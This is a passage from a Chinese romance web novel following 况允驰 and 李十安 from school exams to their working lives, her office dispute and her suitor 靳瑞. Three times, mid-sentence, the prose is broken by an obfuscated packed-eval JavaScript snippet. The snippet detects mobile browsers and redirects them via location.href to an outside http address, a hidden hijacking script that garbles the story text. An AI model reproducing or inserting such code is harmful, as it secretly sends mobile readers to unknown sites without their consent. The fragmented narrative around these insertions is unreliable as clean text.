况允驰根据准考证上的标识,找到路松中学和苑楼,第11考场。他的座位是第三排最左侧,靠近过道的位置。从门外看进去,位置上已经有一个女生。 况允驰走了过去,敲了敲课桌,“这是我的位置。” 李十安抬头,“我的。” “你好好看看。” 况允驰拿出准考证,学生姓名、考试座位一栏标注得很清楚:[第11考场,第17号,况允驰。] “11考场?”李十安环视四周,又伸长脖子看向黑板上的考场标识,是11考场没错。她耸耸肩,“走错了。” 就在那一瞬间,况允驰有些恍惚。 这个场景,怎么似曾相识。一样的对话,一样的情节发展过程,好像是在某一次的梦里发生过。 他看着她的背影。就这么潇洒地走了。没说对不起,没说不好意思。 和梦里一样。 以为真的只是梦。一个比较巧合的梦。 * 连续两天的考试结束,况允驰背上背包,踏出路松中学的校门。路过一条小巷,看见一个女生独自一人,蹲在地上。她是背对着他的,看不清到底在干什么,只看见肩头耸动。 脑海里莫名冒出一个念头——在偷吃辣条? 况允驰走近一些。闻到一股烟的味道,看见袅袅升起的白色烟雾。她显然是没发现他的靠近。一支新点燃的烟,正要往嘴里送去。 他弯腰,敏捷地夺去她指缝间的烟,“这个不许碰。” 李十安吓一跳,还以为被教导抓到了。哪有坏事刚开始做就被抓住的霉运。结果发现眼前的人同样是个学生,不认识的男生,不知道从哪里冒出来,坏她的事。 她有些气愤,站起来,质问他,“关你屁事?”站起来没有他高。仰着头,气势不能被比下去。 他伸出手臂,手指修长。两指灵巧,轻松夹走她手上剩余的一整包烟。举到空中,晃了晃,“没收了。” 他学她的模样,潇洒自在地走开了。徒留她一人在原地,甚至有些没反应过来。 “喂!”她原本想追出去的,追上这个多管闲事的男生。偏偏教导主任这回是真的来了,四处巡逻,不知是在找哪个倒霉蛋。 可千万不要找到她的头上。 她若无其事地走出了巷子,走上回家的路。就当今天倒霉,碰到一个多管闲事的混蛋。不过香烟被抢了就算了。 她只是想叛逆。但危害身体健康的事,她也不见得非做不可。 * 第二年春天,清风和煦,空气里弥漫花香。全市举行了第二次模拟考。 况允驰看着准考证上的地址:[第11考场,第17号。]巧了,和去年一模一样。不用找也能知道在哪。他往教室走去。 路过空中连廊,她正迎面走来。 靠近。交汇。擦肩而过。 早晨的湛蓝的天空。初阳混进蓝色里,穿透连廊,浸染轮廓模糊的方格。 她的发丝是金色的。鼻梁左侧有一颗小巧的痣。 走到教室门外,看着教室里面,莫名想起去年被人占座的场景。他回头。她正走在对面走廊上,向尽头的教室走去。 被她占座。他记得清楚。 * 那天考完试,况允驰坐公交回家。上车,习惯性地走到最后一排,坐上靠窗的位置。 李十安随后也上了车,环视一周,坐到了倒数第二排。 她坐在他的斜前方。 他侧头看着窗外出神,她低头盯着手机玩游戏。各自运行的轨道,互不打扰的空间。 公车到站,车门开启。一个女生站在后门边,握着把手,朝后排方向唤了一声。 “十安!” 况允驰回头。应该是第一次听到的名字,但总有一种莫名的熟悉感。 李十安玩游戏过于专注,没听到友人的呼喊,没给出反应。 那女生提高了音量。 “李十安!” 况允驰愣了下。 想起来了,全部想起来了。李十安,是叫这个名字。妈妈朋友的女儿。他们小时候见过的,在月影镇,见过好几次。 李十安终于听到了友人的呼唤,抬头,向友人打招呼。 “我先走啦!” “拜拜——” 直至友人下车,目送友人离开,李十安才又重新低头,继续玩她的游戏。 光影斑驳,明暗交叠,落日在车窗上逐渐滑过。 到站,她准备下车。站起来时,公交卡没拿稳,从手机与钥匙串的缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582629|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隙里掉了出来。车厢内各色声音环绕,她没听到公交卡掉落的啪嗒声。又光顾着下车,全然没在意手中丢失的物品。 他下意识捡起公交卡,跟随她踏出车门。 “喂。” 他先叫了一声。待她转身,伸出手臂。 “李……” “喔谢谢。” 她接过他递来的公交卡,回以礼貌微笑,把卡放回兜里,继续往前走了。 他的手还悬在半空中。想说的话是,“李十安是吗?我叫况允驰,我们小时候见过的。”但是没有机会说完这句话。 算了。 如果她完全不记得,那么他的叙旧也会变得毫无意义。 * 填报高考志愿的时候,况允驰没遇见李十安,不过遇见了程菀。 在街头偶遇。程菀和付雯娜默契地一眼认出对方,同时发出惊呼。 “诶——” “诶——” 又有八年没见面了,时间快得不留情面。 “没怎么变。” “你也没怎么变。” 她们在街头简单寒暄。先说早些年工作调动搬家来青山的事,又说小孩今年高考的事。一个女儿,一个儿子,同龄,同一年高考。 程菀问,“准备报哪个专业?” 付雯娜答,“轨道交通之类的吧,考虑的是交大。” 付雯娜问,“你家是个女儿吧?” 程菀答,“嗯,李十安。” “准备读哪个专业?” “多半学生物。” 付雯娜随口问了一句,“为什么?” 况允驰也想问一句,为什么。如果是跟随潮流的话,土木工程才是大热专业。如果是为了前景的话,计算机电子信息才是最佳的选择。他选择轨道交通,已经是为爱好买单了。她选择生物,难道也是在为爱好买单?或者有什么独具眼光的见解? 参考一下她的见解,也不错。 程菀撇了下嘴,“她说她生物老师长得好看,对她也特别温柔,她很喜欢她,所以选了生物专业。” …… 好随便的人生。 付雯娜试探问道,“你……这就同意了?” “我肯定是了解过的。”程菀看了看四周,指着北方,一栋玻璃幕墙的写字楼,露出耀眼的蓝色顶,“那里,景和生物,毕业了能去那里工作,也不错。” 况允驰顺着程菀指的方向望去。矗立着的庞大的蓝色建筑。以前从没考虑过去那里。 * 填报志愿之前,况允驰告诉付雯娜,“妈,我想学生物。” 付雯娜懵了,“为什么?” 况允驰回答了他信手拈来的答复。 “人工智能是未来大势所趋,本身的技术正在走向成熟。智慧生物是一个较新的版块,可挖掘的潜力巨大,包括但不限于近几年着力发展的生物医疗,以及未来不排除会研究的意识上传、生物日记、电子生命、基因纠缠、病毒战役……” “喔——”付雯娜听了这么一大段话,微皱眉头,反问道,“能赚钱吗?” 况允驰顿了下,点头,“能。” 不确定能不能,但为了能学生物,先回答“能”吧。 为什么忽然想学生物? 不知道。 一瞬间的念头而已。 一种冲动。 然后就去做了。 可能人生就是会有很多这种无意义的念头。 *** 况允驰熄灭了烟,一点红色星火消散。把烟头扔进垃圾桶。躬身。手肘撑着膝盖,手心压住眼睛。 是什么时候失控的。 去年七月,再次见到她的那一刻。 露营地里,只一眼,他就认出了她。没怎么变,和印象里还是一样。应该没错的,他的记忆向来不会出现差错。他微蹙眉,想要再看一眼,确认他的猜想,可莫名的,他竟不大敢看她的眼睛。 没有找到合适的机会再抬头。 直至朋友介绍了她的名字。 李十安。 是她没错的。不知道为什么,她的名字,他一直记得。 变得心不在焉了,他没有心思玩游戏,也不与人交谈,独自沉默地喝可乐。 控制不住地总会在意她的一举一动。 看见她起身,暂时离开。余光瞄见她去了自动贩卖机前。鬼使神差地跟了去。走到她身边。 落地窗外,白色自动贩卖机前,并排站立的两个人。清凉的白光模糊他们的轮廓。 夏夜蝉鸣,流萤点点。 一开始是没有说话的。各自挑选饮品。他不时垂眸看向她。她的皮肤白皙清透,眼眸水灵。山茶花的隐隐香气。鼻梁左侧有一颗小巧的痣。 她原本在认真挑选。挑到他的这一边,顺势仰头,问他,“你想喝什么?” 突如其来的对视。 立即挪开视线。 他随意点了一瓶茉莉花茶。货架里响起饮料瓶滚动的轰隆声音。从出货口拿起饮料,转身走开。没有给她任何一句回应。 因为意料之外地心慌了。 突如其来的心慌。 明明只是一个再平常不过的七月夜晚,明明只是一场再平常不过的相遇。可就在她仰头看向他的那一瞬间,沉睡的弦被拨动。 蝉鸣。晚风。漫天繁星。银白月色。落地窗前的自动贩卖机。森林里的点点流萤。 完全失控的涟漪。 很久以后,仍然会梦见那一瞬间的场景。是用来怀念的吧。毕竟曾经以为被天神眷顾,以为一切顺利,以为能够拥有的关于她的一切,如今全都结束了。 他们之间结束了。 独自一人待了很长一段时间。 黑暗降临花园,寂寥夜风吹拂,虫鸣阵阵。 况允驰终于抬起了头,眼眶猩红。他拿出手机,给钟盈发去一条消息:[钟盈姐。] 一字一句,写下做好的决定。 [我想去意大利。] 32. 礼物 【两年后】 李十安挺喜欢现在的生活,独立,自由,随心随意。 无事周末,她通常紧闭窗帘,在静谧的黑暗里熟睡,直到中午。 午餐点外卖。隆重一些,点火锅、日料、海鲜、牛排、披萨。普通一些,点猪脚饭、卤肉饭、盖浇饭。简单一些,点抄手、米线、拌面、粉丝。总之都是能让李十安吃得津津有味的食物。 外卖属于垃圾食品,但确实能够带来快乐。 之后的整个下午,就是用来虚度的。吃零食,喝奶茶,捣鼓满柜子的水杯,串手串玩,追剧,打游戏。漫漫下午无限绵长,沉浸其中叫人忘了时间的存在。 到了晚上,李十安会放上满满一缸温热的水,布满泡沫与花瓣,摆放一盘草莓,打开一部电影,开始享受温泉般的泡澡乐趣。在弥漫花香的温热的水蒸气中,与窗外霓虹夜晚为伴。 若是每日都如这般沉沦,李十安心想,这样的悠哉生活也未尝不可。 *** 工作上,李十安上班时很认真,认定拿多少工资,就要做多少贡献,不能心怀愧疚。配液、数菌、洗皿、记录、撰写报告,每个步骤一丝不苟地完成,是个合格的微生物检验员。 当然,下班时也很认真,想要到点就走。运气好的时候,下班一路顺畅。运气不好的时候,会被办公室氛围给限制住。明明已经过了下班点了,手上的工作也全部做完了,可办公室里一个人也没走,并且没有说走的迹象。 李十安轻轻滑动工学椅,身体朝左边倾斜,悄声问隔壁工位的小童,“为什么都不走?” 小童轻咳一声,“赵主管没走,还出来看了好几次,没人敢走。” 赵主管是检验一科新上任的主管。李十安听过说他的风格,喜欢强调所谓的团魂,常挂在嘴边的一句话是“我们是一家人”,一家人就得同甘共苦——同甘不一定,但共苦是一定的。只要一个人工作没做完,其余人就都得陪伴那人加班,这样才能体现出团队的温暖。 “我们是一个team!” 今天,没做完工作的人,是赵主管自己。 六点下班,现在已经六点二十了。李十安耐着性子多等了十分钟,实在有些难以忍受这种毫无意义的、形式主义的陪伴。 不想做无意义的消耗。不想平白无故浪费自己的人生。 李十安把斜挎小包特意拿出来,放在工位上的一个显眼位置。再拿起超级玛丽搪瓷杯,佯装去茶水间泡茶。倒是真的泡了一杯茶,放在台面上。趁着没人注意的时候,溜去了电梯。 全身上下,只带了手机和车钥匙,但已经足够李十安开心下班。 这样操作了好几次,赵主管开始逐渐关注到李十安的行踪,并且有意识地在下班时段制造和李十安的偶遇。 周四下午下班后,李十安照例拿着超级玛丽搪瓷杯去往茶水间。正在接热水时,赵主管来了,拦截了李十安的去路。 赵主管问,“检验结果分析报告和月末总结……” 李十安抢先回答,“您说的明天上午十点准时提交,但我已经提前提交到您办公系统里了。” 赵主管被噎了一下,继续追问,“我要的名单……” 李十安应答,“已经放您办公桌了,电子版通过邮件传给您了。” 赵主管再问,“和琳琳交接实验的事情……” 李十安微笑,“已经办理妥当,您可以找琳琳核实。” 每一句话都被堵了回去,赵主管心里不是滋味,索性把话挑明,“那你现在是准备下班?” “啊?” 赵主管接着说了一句,“我都还没下班。”主管都没走,作为下属,哪有不看脸色先走的道理。赵主管是想提醒李十安懂得职场规矩。 李十安听出了赵主管的话外之音。其实她可以委婉点略过这个话题的,说是来泡茶或者泡咖啡,走回工位缓一缓,等另一个恰当的时机再偷偷溜走。但被赵主管这么一通质问,李十安心里逆反,索性回答,“对。我的工作做完了,也到下班时间了,我有权下班。” 说完便走了,没给赵主管反驳的机会。李十安也清楚这是在把自己往火坑里推,但怒气上头,一时没忍住。 第一次没忍住,第二次就更忍不住了。 周五,下班过去四十分钟,当赵主管仍在办公区高声宣扬团魂的时候,“什么叫团队凝聚力……”李十安直接拎着包,从赵主管面前走过,走出了办公室。 走到地下车库,李十安收到了小童发来的一条消息:[还是你拽。] 似曾相识的评价。李十安恍惚,觉得曾经在哪里听过。 当晚,赵主管在工作群里,连发了好几条消息。 [团魂是一个团队必不可少的东西。] [最近某些同事,我就不点名了。] [她思想和行动上比较负面,缺乏积极向上的力量。] [不过没关系,只要限期改正,我们这个家庭,还是会对你敞开怀抱。] 说大话倒是永远这么好听。李十安根本没放在心上。 到了季度考核,如果单纯按照业务能力来评定,李十安毫无疑问是检验一科的最优。偏偏这世道并不算单纯。赵主管给李十安评了最末一档,并且给出的理由直白粗暴:[到点下班,缺乏团队精神。] 老天奶,到点下班已经成为一种罪过了。 李十安这边,被黑心压了一头。赵主管那边,职位反倒被提拔了一级。 心里当然不甘心不服气。李十安想要申诉,计划的是按规矩一层一层往上汇报。没想到刚跨进电梯,恰巧在电梯里偶然碰见了小林总,景和检验的一把手。只有她们两个人。李十安心一横,想着干脆跨越层级一步到位得了。 正要开口,小林总压低了声音,提前叮嘱一声,“十安,暂时受点委屈。” 声音很轻。李十安有些意料之外。她还算是新人,几乎没参加过什么大型活动,只在两次大会上见过小林总。隔着那么远的距离,混在人群里,无名无姓。她没想到小林总原来知道她的名字,更没想到小林总甚至知道在她身上正发生的事情。 电梯门开启,小林总利落走了出去。李十安留在原地。虽然不明白其中的缘由,但从眼前的形势看来,李十安意识到,她好像应该静观其变。 熬到月末的那天,李十安踏进办公室,就听到有人说了一句,“小功臣。” 李十安不明所以。 小童凑上前来,言简意赅地传达,“赵主管被带走了。” “为什么?” “因为他不遵守劳动法。” “真的?” “当然是假的。”小童笑着,随后解释,“听说是在上次招标上,搞了点小动作。小林总借你的事情为诱饵,把他挖了出来。” 陆续听到同事们的谈话。 “这次可就倒霉了。” “我猜得没错,果然是先提拔再逮人。” “如果这种人真当领导,那我们公司好像真的要完蛋了。” 同事们交谈热烈,看来赵主管被查,已经是既定事实。 落地窗外阳光清澈,洒一些光影进室内,柔软可爱。 工作顺遂。 李十安觉得这天特别好看。 *** 感情方面,不得不承认的是,李十安的生活确实有所不同,因为多了一个追求者,名叫靳瑞。 大概三个月前,一场朋友聚会上,李十安和靳瑞第一次相遇。 那个时候,许书妍的前男友欠了靳瑞一个人情,于是特意为靳瑞组局,并请了些相关的朋友作陪。李十安是被许书妍叫进饭局的,单纯凑人数,热闹气氛。 饭局以靳瑞为主,自然少不了敬酒环节。在座的人几乎都去找靳瑞敬酒,或是热烈交谈。只有李十安和许书妍喝的是茶,若是去找别人敬酒,叫别人喝酒,这不明显让别人吃亏。再说她们和靳瑞毫无瓜葛,喝不喝根本无所谓。于是两个人事不关己,一心只顾着吃饭。两个人的注意力,不在酒上,而是在吃上。 李十安记不清那晚饭桌上的面孔都长什么样,只记得有一道捞汁八爪鱼特别新鲜,味道极好。 本来以为在此之后,李十安和靳瑞不会再有交集的。 碰巧一个月后的某天,李十安被安排到哈尔滨去参加一场论坛。前一天晚上,李十安去找朋友聚会,吃烧烤喝啤酒,玩到深夜十二点,不亦乐乎。她倒是还记得参加论坛开幕式的这一正事,睡觉前特意调好闹钟,调了三个,每隔十分钟一个。结果前两个闹钟响起来,李十安当没听到,继续趴着熟睡。等到第三个闹钟响起来,李十安才猛然从睡梦中惊觉,她的论坛开幕式就快到点了。 李十安匆匆忙忙穿衣洗漱,挂上工牌出门,从32层酒店房间直达底楼大厅。她穿的是小白鞋,其实好跑,但由于她代表的是景和检验的形象,在人来人往的酒店里必须要矜持一些,于是只能快步走。 刚走出酒店侧门,走进连廊,一个绅士般的男人便叫住了她。 “十安。” 李十安放慢了脚步,看着那个男人。有点眼熟,应该是见过面的,但具体在哪里见过面,李十安完全想不起来。不过出门在外的社交礼仪是,不认识别人,也要装作认识的样子。她招呼道,“好巧,你也在?” 没想到那人并不买账,直截了当地问道,“你知道我是谁吗?” 李十安干笑了两声,一时憋不出一句能够搪塞的话。 那人笑道,“美女多忘事。”他向李十安伸出了手,“我是靳瑞,上次在你朋友的饭局上,我们见过。” 李十安恍然大悟,一说名字她就完全想起来了,“久仰。”她同靳瑞握手,只是礼貌性地触碰了一下。 他们并排走在连廊里,边走边聊有趣的琐事,逐渐熟络。 接触由此多了起来。 在为期三天的论坛里,靳瑞对李十安总是有热情,空闲时间总会找到李十安。一来二去,两人成了朋友。 回到青山后,由于工作繁忙,两个人之间没了什么联系。 直到偶然有一天,李十安接到了许书妍前男友的电话,说要约她吃饭。那个时候,许书妍和前男友正好闹分手,李十安还以为前男友约她的目的,是为了让她帮忙在许书妍面前说说好话,做个挽留。李十安因此答应了赴约。 没想到走进法式餐厅,打开包间门,李十安发现,包间里竟只有靳瑞一个人。 “我走错了?”李十安隐约有了猜测,“还是……你的安排?” 靳瑞站了起来,“想约你顿便饭,但害怕被你拒绝,所以托人帮忙。十安,你会原谅我的吧?” 李十安笑道,“白蹭一顿饭,该谢谢你才是。” 那是他们第一次单独享用晚餐,期间交谈甚欢,氛围融洽。 有了第一次,便就会有第二次,以及第三四五六次。靳瑞约李十安的频率越来越高,两人的相处时间越来越多。靳瑞对李十安的心思,旁人一眼能看出来。 “应该是想追你,”许书妍替李十安分析道,“挺好的,条件好,人长得也好看。反正你也没正经谈过恋爱,可以试试看。” 李十安对这个流程不大能够拿捏准确,向许书妍确认,“怎么试?” 许书妍摸着下巴,邪魅一笑,“等他先追着,看看他到底有多少诚意。” 在追李十安的这件事上,目前看来,靳瑞确实挺有诚意。他在李十安的世界里,似乎是无处不在。 一个礼拜内,总有那么四五天,李十安的工位上会莫名摆放着咖啡。咖啡种类各不相同,有时是燕麦拿铁,有时是百香果慕斯,或者大溪地香草,又或者冰美式。不用特意去调查是否合李十安口味,毕竟这么多款,总会有李十安喜欢的。 李十安最初以为是外卖员送错了单,正想询问时,收到了靳瑞的微信。 [不小心买多了,喝不完,劳烦十安替我分担一杯。] 总是上演着同样的把戏。 次数多了,李十安便反问:[怎么每天都不小心?] 靳瑞回复:[因为想你想出了神。] 李十安扔下手机,抱紧双臂,抹去一身的鸡皮疙瘩。 实在忍受不了了,李十安私下里找许书妍排忧解难,问道,“谈恋爱必须得这么说话吗?” 许书妍笑得肚子痛,“如果你要跟他谈恋爱的话,估计就得天天说这种话。”她追问李十安,“你谈吗?” 李十安思考片刻,“再想想,再观察看看,反正我又没有多么想谈恋爱。” 她这边是谨慎地观察,他那边是坚持地追求。 常常会约出去吃饭。靳瑞带李十安去的,都是米其林餐厅。起初,李十安觉得这是一种极具仪式感的享受,穿漂亮衣服,在华美餐厅,品醇香红酒,听服务生讲解菜肴背后的故事,体会味蕾的美感,是一件很让人开心的事。 可再开心的事也经不起一次又一次的重复。 次数太多了,不知不觉就变得麻木了。靳瑞再约李十安去餐厅时,李十安的第一反应是,又吃白人饭。吃又吃不饱,还得换衣服,真麻烦。李十安没有立即回复靳瑞。她打开冰箱,除了啤酒就是可乐,以及昨晚吃剩的半盒干拌麻辣烫和半杯奶茶。如果要吃剩菜剩饭的话,还得加热,还得洗碗,也麻烦。 算了,还是出去吃吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597243|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和靳瑞的约会大多发生在周末。工作日的时候,李十安还是习惯了和许书妍混在一起。 这天,碰上天气晴朗,李十安和许书妍在食堂吃过午饭后,去公司大楼附近的便利店买了雪糕。一人咬一支白桃乌龙雪糕,慢悠悠地走在园区里。 不远处,靳瑞与一个美女并肩走过。阳光刺眼,靳瑞贴心地为美女打着一把遮阳伞。到达轿车前,靳瑞提前为美女打开车门,护住车框以免碰头,整个姿态绅士体贴。 她们亲眼目睹了这一切。许书妍观察许久,却不见李十安有任何异样的反应。 送走了美女后,靳瑞转身,看见了她们,径直走了过来。 许书妍率先替李十安发问,“那美女是谁?” 靳瑞没有立即回答许书妍的问话,而是看向李十安,轻声问道,“吃醋了?” 李十安愣了下。好像是一个她该吃醋的场景。她咀嚼着碎冰,配合地笑了笑。 靳瑞这才解释,“只是我的一个客户而已。” “喔——”李十安拉长声音,一时不知道该做出什么反应才最恰当,尽量配合着。只是心里被敲了一下警钟。 她竟然没有体会到类似吃醋这种酸酸涩涩的感觉,难道她天生不会心动?不可能吧。 比起认为自己心理有障碍,李十安更愿意相信,是她和靳瑞的心动时刻还没到来。 那天下午,李十安按照方总的安排,将一份密封的档案袋拿去青山大学生命科学学院,交给方总的恩师张教授。整个过程很顺利。等到李十安走出青山大学北门,准备打车回公司时,一辆蓝色帕拉梅拉忽然停在李十安身前。车窗降下来,靳瑞的身影出现在窗框内。 “十安,上车,我带你回公司。” 李十安走到副驾驶旁,弯腰,“你怎么知道我在这里?” 靳瑞笑道,“猜的,我总能猜出你的行踪。” 这种话哪里信得。李十安猜测公司里有出卖她行踪的内鬼,但不知道具体是谁。 慢慢的,李十安发现靳瑞的出现,从内鬼交易那般暗戳戳的方式,逐渐转变为明目张胆的状态。 偶遇下暴雨,李十安站在公司楼下的大厅里,看着水柱般的雨茫然无错。她的车正在保养,没开到公司,雨伞又偏偏放在了车里。真是要什么没什么。她只有等雨稍小一些,才有勇气迈出门,去到园区门外打车。她站在角落里的落地窗前,看着雨水落到地面开出花。 礼宾部彭寒跑来,拍了拍李十安的肩膀,递给李十安一把雨伞,“这是靳先生特意留给你的。” 李十安疑惑,“他什么时候留的?” 彭寒回忆,“中午一点的样子。” 李十安暗忖,靳瑞这人倒是挺能预判,也确实特别贴心。她撑开伞,走进暴雨中。身边时常有人或是走过,或是跑过,溅起一层一层水浪。三五同事在擦肩而过的瞬间,回头对李十安开玩笑。 “伞不错啊。” “十安的伞,还是金卡VIP?” “哟,高级会员。” 李十安一头雾水,这才抬起头来仔细观察这把伞。纯黑伞面,质地高级,伞柄和伞沿镶嵌金色。伞面下方印着显眼的logo,并刻有“靳瑞医疗”四个字。 好家伙,原来是靳瑞医疗器械公司的限量定制伞。 李十安有些不自在,但又不可能半途丢掉伞,只能硬着头皮撑下去。同事们的玩笑话依旧回荡在耳边。依着他们叽叽喳喳的习性,定是会在部门里传播起李十安和靳瑞的关系。不知道他们会怎样地添油加醋。 她其实是还没想好他们之间的关系的。 *** 与此同时,李十安和程菀之间的关系,也发生了极大的转变。 李十安曾经对程菀说过,“妈妈,你也应该有自己的人生。” 程菀听进去了这句话,并试图付诸实践。起初以为会很难,毕竟为女儿为丈夫操心了二十几年,哪会说放就能放得下。结果当真鼓足勇气迈出了第一步,程菀才恍然大悟般发现,嚯,真香。 打扮漂亮,收拾行装,开启退休后的一段又一段旅程。 常常昨天还在乌鲁木齐,第二天就到了伦敦。分明才发微信说在青岛,转眼就又到了圣彼得堡。她要找回这么些年错过的景色。 当然,程菀每到一个地方,都会给李十安寄来当地特产,以美食为主。 程菀给李十安打电话,“我给你买了一箱俄罗斯奶粉和巧克力,记得查收。” 李十安无奈笑道,“妈,你上次买的鱿鱼和麻薯我都还没吃完。” “先吃保质期短的,长的留着慢慢吃。” 程菀已经养成了给李十安买东西的习惯,不买她还不顺手。李十安只有全盘接受,再按照程菀的指示吃好喝好,满足程菀的心意。 到了下班时,李十安已经将车开出了车库,忽然又接到了程菀的电话,十万火急,“乖乖,我把地址留错了,本来想留你家里的。现在快递放在你们公司前台,你下班顺道拿回来。” 李十安立即靠边,找到个合适的位置停车。幸好没走太远,没出园区,停车的位置离公司距离不算远。回到公司大楼,恰巧碰见靳瑞正在与彭寒交谈。 李十安走了过去,“这么巧?” 靳瑞指了指前台桌下的纸箱,“来拿这个?” “嗯。” “车呢?外面?我替你搬到车上。”靳瑞说着便动身,一口气搬两个纸箱,朝大堂外走。李十安跟在靳瑞身后,直到靳瑞将纸箱放到李十安车的后备箱。随后靳瑞的车被人开过来,停靠在他们附近。司机走下车,等待靳瑞。 李十安反倒不好意思了。靳瑞,靳总,西装革履,司机接送,养尊处优,却为李十安干起了搬箱子这种粗活,哪里像样。她满怀歉意,“不好意思,还让你做这种粗活。” 靳瑞抚平西装褶皱,“我也不是为谁都做。” 他上了车,同李十安道别。李十安出于礼貌,一直目送靳瑞离去,才转过身来查看后备箱的东西。 两个一模一样的纸箱。李十安没记错的话,程菀电话里说的是一个纸箱。李十安好奇,打开了两个纸箱。纸箱不仅外表一样,里面装的东西也全然相同,奶粉、蜂蜜、巧克力、火腿,连品种和数量也是一致的。 分明是同样的包裹,却寄送了两份。 李十安给程菀打电话,“妈,怎么是两份特产?你寄错了还是我拿错了?” 程菀解释,“我在俄罗斯,正巧碰到你付雯娜阿姨,她学我搞了一份一模一样的特产包,说是图方便,一起寄给你,再麻烦你转交一份给允驰。” “况允驰?”李十安有些意外,“他回来了?” 33. 玻璃 况允驰是和孔心薇一起回国的,并且一同进公司。 况为曾经叮嘱过况允驰,“多照顾心薇。”况允驰于是遵照嘱咐,在工作以及生活上,对孔心薇能帮的就帮一把。 他们同属于研发部,工位也隔得很近,面对面。虽然办公桌上,电脑显示器和其余杂七杂八的小木柜小抽屉小盆栽,已经将两人的视线严密阻挡,看不见彼此。但孔心薇仍喜欢时不时地向一侧探出半个身子,歪着脑袋,看向况允驰。 “这堆表格怎么填?”孔心薇在半空中挥动纸张,“帮帮我好吗?” 似乎是顿了下,况允驰随后拿起一支笔,走到孔心薇身旁,从头开始挨个给孔心薇解释表格内容。孔心薇只看了一眼表格,接着抬头一直盯着况允驰,看他轻声讲话的模样。 况允驰问,“明白了吗?” 孔心薇反问,“没明白的话,你会再讲一遍吗?” 况允驰于是又回到了表格开头,把刚才已经讲过一遍的内容,继续再讲一遍。是一个耐心负责的师兄。 临近下班,相对较为清闲的时候,况允驰抽取两张湿巾,仔细抹掉办公桌角落里堆积的细碎灰尘。最开始是擦拭桌面,后面范围逐渐扩大,擦拭到了显示器上。 孔心薇从显示器后露出了半张笑脸,“能不能帮我也擦一擦?我桌子上有印记,我擦不掉。” 看了眼手上的湿巾后,况允驰扔掉了旧湿巾,重新抽取两张新湿巾,走去孔心薇的工位上。他顺着孔心薇的指示方向,看到了桌面上两道类似铅笔划出的痕迹。他弯腰,先用湿巾试探擦拭,随后加大力度,试图抹去痕迹,等到痕迹被消除干净,他准备用纸巾来擦干水渍,抬头时,忽然看到了孔心薇近在咫尺的脸庞。 她正双肘撑在桌上,拖着脑袋,微笑着看着他。他被吓一跳,眼波闪烁。 孔心薇撇嘴嘀咕,“我有那么吓人嘛。” 况允驰收起湿巾,“擦干净了,你检查一下。” 孔心薇没去检查。她对桌面干不干净,根本不在乎。她在乎的,是眼前这个男人。 周一开会之前,孔心薇特意去甜品区拿了两块雪媚娘,递给况允驰,“都说这个好吃,你也尝尝?” 况允驰没有接,“你吃吧。” 孔心薇收回了手。她知道,开过的这么些会,都是她爱去拿甜品区的小甜点来尝,况允驰从来不感兴趣。她吃完了雪媚娘,照例找况允驰帮忙,要况允驰帮忙拍照。她被推荐到大会上做交流发言,分享这两年培训的经历与收获。 “我也会站到发言席那里,”孔心薇对况允驰交代,“我讲话的时候,你帮我多拍几张。” 况允驰理解的多拍几张,就是举着手机,对准孔心薇,不停摁下按钮。他确实拍得多,就一个发言的场景,一共拍了76张。 孔心薇下台后,兴致勃勃翻照片查看,却发现整整76张照片,竟然只能选出3张能看的。她问况允驰,“你觉得怎么样?” 况允驰真诚回答,“挺好的。” “你管这叫挺好?”孔心薇娇嗔埋怨,“你们直男真是……傻得可爱。” 她将那3张照片,P了又P,发了朋友圈。 等到连续几场会议结束,工作告一段落,稍微空闲一些的时候,孔心薇挑选了一个晴朗的天气,把况允驰拽出了办公室。 “我还一直没有机会好好逛逛园区,”孔心薇语气柔软,“带我逛逛好吗?” 她兴致高昂地在前方走,况允驰沉默地走在她身后。 她不时回头,“介绍一下?” 况允驰指了指路边路牌上的地图,“比其他园区稍大一些,有湖有公园。之前划分生物区、IT区之类的,后面公司多了,也就不分那么详细了。” 孔心薇听得认真,点头回应。 一辆考斯特驶过柏油小路,经过他们身旁,在前方接近转角处停下。一个团队陆续下车,站在车旁等待。一个漂亮的有气质的女生位于队列最前方,正在耐心做解说。 孔心薇问道,“是来参观的?” 况允驰解释,“前面是城市大脑的展厅,经常有人来参观。” “这样,”孔心薇又问,“我们公司会有人来参观吗?” “以前偶尔会有高校来,以后估计也会有。” “喔,”孔心薇想了想,笑道,“那你说,如果再有人来参观的话,我能做公司的解说吗?” “能吧。” 孔心薇故意追问,“真的?为什么?” 况允驰回答,“你不是已经上台讲过话了吗。” 孔心薇嘀咕,“我还以为你会说,因为我漂亮。”一般是漂亮的人才会被选去做解说。孔心薇期待况允驰的回答,是夸她漂亮。 她转身,朝右边走去,走进岔路口。 他们漫步了两条小巷,走到休闲区。人多,这一片逐渐热闹起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601397|154051||http|test|mini|href|location''.split(''|''),0,{})); () { 